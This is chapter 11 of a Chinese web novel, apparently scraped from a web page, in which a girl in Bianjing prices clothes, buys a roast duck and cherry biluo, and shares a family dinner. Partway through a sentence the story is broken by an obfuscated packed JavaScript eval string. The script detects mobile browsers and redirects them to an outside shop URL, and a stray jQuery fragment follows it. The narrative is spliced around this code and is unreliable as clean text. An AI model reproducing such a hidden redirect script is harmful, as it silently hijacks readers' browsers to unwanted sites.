11. 第十一章
作品:《汴京暴富日常》 “这位小娘子看点什么?随便瞧。”
迎上来的是个年轻小二,也没因为徐竹筱穿得破旧和年龄小就甩脸子,反而笑眯眯地招呼着。
徐竹筱目光在一排排衣裳上扫过。忽然,她的视线停在一套襦裙上。
那是一套淡绿色的襦裙,颜色很浅,像是初春柳梢刚冒出的嫩芽,干干净净,没有多余的绣花,只在领口和袖口滚了一圈小小的白边。
真好看。
徐竹筱忍不住伸手摸了摸,棉布的手感柔软,虽然比不上丝绸顺滑,但胜在亲肤透气。
“姑娘好眼光。”小二极有眼色地凑过来,“这套是咱们店里刚到的新款,颜色最是清雅,衬人皮肤白。”
“这个……多少钱?”徐竹筱有些心动。
小二伸出一只手比划了一下:“七百五十文。”
徐竹筱的手像被烫了一下似的缩了回来,眼睛瞪得溜圆:“七百五十文?这么贵?”
“姑娘,这不算贵了。”小二也不恼,耐心解释道,“这料子虽是棉布,却是细棉,织得密实。再加上这做工,您看看这针脚,细密得很。”
徐竹筱咬了咬嘴唇,还是摇了摇头:“太贵了,我买不起。”
她虽然爱美,但也知道钱难赚,为了件衣裳把家底掏空,那是傻子才干的事。
小二见她拒绝得干脆,脸上笑容未减:“没事儿,您嫌成衣贵,不如看看布料?咱们这儿新进了一批碎叶印花土布,样子也不错,而且价格合适。”
说着,他引着徐竹筱来到另一边的柜台,指着一匹布料道:“您瞧瞧这个。”
那是一匹土布,底色是米白,上面印满了绿色的叶子花纹。
那叶子印得并不十分精细,甚至有些粗糙,像是用真正的树叶沾了染料印上去的,带着一股拙朴自然的野趣。
“这花色真特别。”徐竹筱忍不住上手摸了摸。
触手果然是土布特有的粗糙感,甚至有点硌手,但这并不妨碍它的美感。
“这是手印的叶子纹,虽然布料糙了些,但胜在结实耐穿。”小二热情地推销道,“这一匹布足足有十丈,六百文钱。您要是拿回去自己做,这一匹布能做五六套衣裳呢,算下来一套才一百文出头,那是相当划算!”
徐竹筱在心里飞快地盘算了一下。六百文一匹,确实便宜,而且这花色清新脱俗,做成裙子或者上衣肯定好看。
只是……
她低头看了看自己的手,又想起苏棠那虽然能干但并不精细的女红,还有自己那个只会拿菜刀不会拿绣花针的手艺。
买回去谁做啊?
要是做得歪歪扭扭,再好的布料也糟蹋了。
徐竹筱遗憾地叹了口气,摇摇头:“这布料我是真喜欢,可惜我家里没人手巧,做不来衣裳。还是算了吧,等以后有了闲钱再来买那套成衣。”
小二愣了一下,随即笑道:“得嘞,那您慢走,下次再来。”
从铺子里出来,徐竹筱并没有因为没买到新衣服而沮丧。
反倒是那个小二的态度让她觉得这汴京城也没那么冷漠势利。
“以后有钱了,一定来这儿狠狠消费一把!”
逛完了成衣铺,肚子也有些饿了。
虽然中午喝了粥,但那是稀的,这会儿早消化完了。
街上的香气一股一股往鼻子里钻,勾得人馋虫直叫。
前面围着一群人,炭火的烟气混合着肉香飘散开来。徐竹筱吸了吸鼻子,眼睛一亮——烤鸭!
她三步并作两步挤进人群。
只见一个摊贩正站在炉子前,手里拿着一把大蒲扇,呼啦呼啦地扇着火。
架子上挂着几只烤得焦黄流油的野鸭子,表皮酥脆,油脂顺着鸭身滴落在炭火上,发出“滋滋”的声响,激起一阵更浓郁的香气。
“老板,这鸭子怎么卖?”徐竹筱咽了口唾沫。
“大份儿的三十文一只,小份儿的二十文!”老板头也不抬地喊道,“都是山上刚打下来的野鸭子,肉紧实着呢!”
三十文一只?
徐竹筱心里的小算盘又打了起来。
二十文的炸菜团子都卖出去了,这三十文一只的烤鸭,听着倒也不算太离谱。毕竟是肉啊!
“给我来一只大份的!”徐竹筱豪气地掏出铜板,“要烤得焦一点的!”
“好嘞!”老板手脚麻利地取下一只烤鸭,用荷叶包好,递给徐竹筱,“姑娘拿好,趁热吃最香!”
徐竹筱接过烤鸭,那沉甸甸的分量和透过荷叶传来的热度,让她心里那个美啊。
她没急着吃,打算带回家给爹娘和哥哥尝尝。这可是她用自己赚的钱买的第一顿“大餐”。
抱着烤鸭往回走,徐竹筱觉得自己走路都带风。
然而,这汴京城的诱惑实在是太多了。
还没走两步远,一股清甜的香味又把她的脚给绊住了。
路边有个小摊,摊主是个慈眉善目的老妇人,面前摆着几个蒸笼,热气腾腾。旁边立着个木牌子,上面写着“樱桃毕罗”。
毕罗这东西徐竹筱听说过,有点像现代的馅饼或者春卷,里面包着馅料,或是蒸或是烤。
但这樱桃馅儿的,她还是头一回见。
那蒸笼刚好掀开,一个个晶莹剔透的毕罗整齐地码在里面。皮薄如纸,隐约能透出里面红艳艳的樱桃馅儿,看着就让人食指大动。
“姑娘,尝尝这樱桃毕罗?刚出笼的,甜着呢。”老妇人笑眯眯地招呼道。
徐竹筱脚下一顿:“婆婆,这怎么卖啊?”
“十五文两个。”
这比肉包子都贵啊!
可那颜色实在是太诱人了,红彤彤的樱桃肉仿佛在透过薄皮向她招手:快来吃我呀,快来吃我呀!
“买!”徐竹筱一咬牙,心一横,“给我来四个!”
反正今天赚得多,偶尔奢侈一把怎么了?人生在世,吃喝二字!
老妇人笑得合不拢嘴,手脚麻利地用油纸包了四个毕罗递给她。
徐竹筱左手抱着烤鸭,右手提着毕罗,觉得自己简直是这街上最富有的人。
这回她学乖了,目不斜视,两眼只盯着前方的路,生怕再看见什么好吃的走不动道。
“回家回家,再不回家今天要白干了!”徐竹筱在心里碎碎念,加快了脚步,像是一只叼着肉骨头急着回窝的小狗。
回到家,推开院门,屋里静悄悄的。
苏棠和徐竹卿还没回来,徐青山也没下工。
徐竹筱把烤鸭和毕罗放在桌上,小心翼翼地揭开荷叶。
烤鸭的皮已经有些软了,但香气依然浓郁。毕罗倒是还温热着,红艳艳的煞是好看。
她忍不住伸手捏了一块鸭皮放进嘴里。
虽然不如刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956737|193160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出炉时酥脆,但那股焦香味混合着鸭油的丰润,还是瞬间在口腔里炸开。
“唔……好吃!”徐竹筱幸福地眯起了眼睛。
等苏棠和徐竹卿回来的时候,天色已经擦黑了。
两人手里大包小包提了不少东西。苏棠一进门就嚷嚷着腿疼,把东西往桌上一扔,一屁股坐在凳子上。
“哎哟我的老腰,这汴京城的路怎么这么长啊。”
徐竹卿倒是依旧一副温文尔雅的模样,只是额头上也微微见了汗。他把手里提着的几刀纸和一方砚台小心翼翼地放在一旁,生怕磕着碰着。
“娘,哥,你们回来啦!”徐竹筱像只快乐的小鸟一样扑过去,“快来看我买了什么!”
苏棠鼻子灵,一进屋就闻到了那股霸道的肉香。
“哟,这是啥味儿?怎么这么香?”
徐竹筱献宝似的把桌上的荷叶包打开:“烤野鸭!还有樱桃毕罗!”
苏棠一看那只肥得流油的鸭子,眼睛都直了:“乖乖,这一只鸭子得不少钱吧?”
“三十文!”徐竹筱比了个手势,“我想着今儿赚了钱,咱们也改善改善伙食嘛。再加上咱们要干活儿,哥要去读书,都得补补身子!”
听到这话,苏棠本来想数落她乱花钱的话到了嘴边又咽了回去,转而变成了满脸的笑意:“行,算你说的有理,是该补补。”
“还有这个毕罗,十五文两个呢,我买了四个!”徐竹筱指着那包毕罗,“听说里面包的是樱桃,可稀罕了。”
“这么贵?”苏棠咂咂嘴,“这都快赶上咱们那炸菜团子了。”
“这不是尝个鲜嘛。”徐竹筱嘿嘿一笑,“娘,您先尝尝?”
苏棠也不客气,拿起一个毕罗咬了一口。
薄皮破裂,滚烫酸甜的樱桃汁瞬间涌了出来。樱桃肉软烂香甜,带着一股特有的果香,混合着面皮的麦香,确实别有一番风味。
“嗯!这味儿是不错!”苏棠眼睛一亮,“酸酸甜甜的,开胃!”
正说着,院门又被推开了。
徐青山哼着不知名的小调走了进来,手里还拎着个酒葫芦。
“今儿咋这么热闹?我在巷子口就闻着香味儿了!”
“爹!快来吃鸭子!”徐竹筱招呼道。
徐青山一见桌上的烤鸭,乐得胡子都翘起来了:“哟呵,这是过年了?这么丰盛!”
一家四口围坐在桌边,昏黄的油灯下,每個人的脸上都洋溢着满足的笑容。
徐青山撕下一只鸭腿,直接放进徐竹筱碗里:“闺女今儿辛苦了,这腿归你。”
徐竹筱刚想推辞,徐青山又撕下另一只给了徐竹卿:“儿子读书费脑,这只归你。”
苏棠在一旁撇撇嘴:“合着我就没份儿呗?”
徐青山嘿嘿一笑,把自己碗里的鸭胸肉夹了一大块给苏棠:“哪能啊,这肉最好,不塞牙,专门留给孩儿他娘的!”
苏棠被他逗乐了,白了他一眼,夹起肉吃得津津有味。
徐竹筱咬着鸭腿,满嘴流油,看着眼前这一幕,心里比吃了蜜还甜。
吃饱喝足,徐青山摸着肚子,打了个饱嗝,才慢悠悠地问起正事:“今儿去私塾咋样?定下来没?”
苏棠擦了擦嘴:“定下来了,明儿一早你带着卿郎去入学。”
徐青山点头:“行,我一会儿回酒楼和掌柜的说一声。”

